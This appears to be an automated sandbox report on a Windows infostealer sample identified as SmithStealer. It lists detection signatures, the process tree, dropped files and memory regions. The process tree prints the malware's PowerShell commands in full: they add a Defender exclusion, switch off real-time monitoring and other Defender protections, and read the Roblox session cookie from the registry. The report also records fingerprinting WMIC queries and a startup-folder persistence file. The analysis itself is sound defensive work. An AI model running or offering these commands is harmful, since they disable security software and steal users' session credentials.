Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    13/04/2026, 08:01

General

  • Target
    c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe
  • Size 1.9MB
  • Sample260413-jwvyjsas7x
  • SHA256 c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects SmithStealer 2 IoCs
  • SmithStealer

    SmithStealer is a modular stealer written in C#.

  • Smith_stealer family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe
    "C:\Users\Admin\AppData\Local\Temp\c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe"
    1⤵
    • Drops startup file
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2368
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      • Disables automatic submission of suspicious files to Microsoft by Windows Defender
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1768
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5492
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2308
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2036
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4048
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3732
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2996
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      2⤵
      • System Location Discovery: System Language Discovery
      • Detects videocard installed
      PID:5240

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        8Y0Vd.scr

        • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\8Y0Vd.scr
        • Size 1.9MB
        • SHA256 c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 00c2afd3df6caa9c0fcb600d1977726062e1253eec169432a2be1c705505d114
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 1677b4b5b502fb79afea5dea1d62d07cc0c02fbd975655a16f811a76b8d3faf6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 14KB
        • SHA256 eae443b7dfbf4b33765dd225ead569c4c7c1299031d6e29527d375e5cabde491
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 0730da4076d3b73118c9112eaa14e03fc14196d9a14defd4f0aed2af5398b2d9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_03c0y1uo.3pq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_03c0y1uo.3pq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1768-57-0x0000000004E10000-0x0000000004F0E000-memory.dmp

        memory/1768-54-0x0000000006210000-0x0000000006567000-memory.dmp

        memory/1768-46-0x0000000002690000-0x00000000026A0000-memory.dmp

        memory/2308-93-0x0000000006100000-0x00000000061FE000-memory.dmp

        memory/2368-39-0x00000000087B0000-0x00000000087C5000-memory.dmp

        memory/2368-9-0x0000000006C70000-0x0000000006CD6000-memory.dmp

        memory/2368-18-0x0000000007210000-0x000000000722E000-memory.dmp

        memory/2368-19-0x0000000007250000-0x000000000729C000-memory.dmp

        memory/2368-20-0x000000007EEA0000-0x000000007EEB0000-memory.dmp

        memory/2368-21-0x0000000007800000-0x0000000007834000-memory.dmp

        memory/2368-22-0x000000006FF90000-0x000000006FFDC000-memory.dmp

        memory/2368-31-0x00000000033E0000-0x00000000033F0000-memory.dmp

        memory/2368-29-0x00000000033E0000-0x00000000033F0000-memory.dmp

        memory/2368-30-0x0000000008420000-0x000000000843E000-memory.dmp

        memory/2368-32-0x0000000008440000-0x00000000084E4000-memory.dmp

        memory/2368-33-0x0000000008BA0000-0x000000000921A000-memory.dmp

        memory/2368-34-0x0000000008560000-0x000000000857A000-memory.dmp

        memory/2368-35-0x00000000085E0000-0x00000000085EA000-memory.dmp

        memory/2368-36-0x00000000087F0000-0x0000000008886000-memory.dmp

        memory/2368-37-0x0000000008770000-0x0000000008781000-memory.dmp

        memory/2368-38-0x00000000087A0000-0x00000000087AE000-memory.dmp

        memory/2368-4-0x00000000033E0000-0x00000000033F0000-memory.dmp

        memory/2368-40-0x00000000088B0000-0x00000000088CA000-memory.dmp

        memory/2368-41-0x00000000088A0000-0x00000000088A8000-memory.dmp

        memory/2368-44-0x0000000005AA0000-0x0000000005B9E000-memory.dmp

        memory/2368-10-0x0000000006CE0000-0x0000000006D46000-memory.dmp

        memory/2368-5-0x0000000003180000-0x00000000031B6000-memory.dmp

        memory/2368-17-0x0000000006D50000-0x00000000070A7000-memory.dmp

        memory/2368-8-0x0000000005C80000-0x0000000005CA2000-memory.dmp

        memory/2368-7-0x0000000005DC0000-0x00000000063EA000-memory.dmp

        memory/2368-6-0x00000000033E0000-0x00000000033F0000-memory.dmp

        memory/2996-103-0x0000000005F60000-0x00000000062B7000-memory.dmp

        memory/2996-113-0x00000000053E0000-0x00000000054DE000-memory.dmp

        memory/2996-111-0x00000000065D0000-0x000000000661C000-memory.dmp

        memory/4908-2-0x0000000005B30000-0x00000000060D6000-memory.dmp

        memory/4908-98-0x00000000091B0000-0x00000000091C2000-memory.dmp

        memory/4908-117-0x00000000071F0000-0x000000000762B000-memory.dmp

        memory/4908-116-0x0000000006C50000-0x0000000006D4E000-memory.dmp

        memory/4908-63-0x0000000007040000-0x0000000007090000-memory.dmp

        memory/4908-0-0x0000000000800000-0x00000000009F8000-memory.dmp

        memory/4908-3-0x0000000005430000-0x0000000005440000-memory.dmp

        memory/4908-62-0x0000000006F70000-0x0000000006FE6000-memory.dmp

        memory/4908-97-0x0000000007790000-0x000000000779A000-memory.dmp

        memory/4908-47-0x0000000005430000-0x0000000005440000-memory.dmp

        memory/4908-101-0x0000000006C50000-0x0000000006D4E000-memory.dmp

        memory/4908-102-0x00000000071F0000-0x000000000762B000-memory.dmp

        memory/4908-64-0x00000000071C0000-0x00000000071DE000-memory.dmp

        memory/4908-1-0x00000000054E0000-0x0000000005572000-memory.dmp

        memory/5492-79-0x0000000006570000-0x00000000068C7000-memory.dmp

        memory/5492-84-0x0000000005220000-0x000000000531E000-memory.dmp

        memory/5492-82-0x0000000006F00000-0x0000000006F22000-memory.dmp

        memory/5492-81-0x0000000006FB0000-0x0000000006FFC000-memory.dmp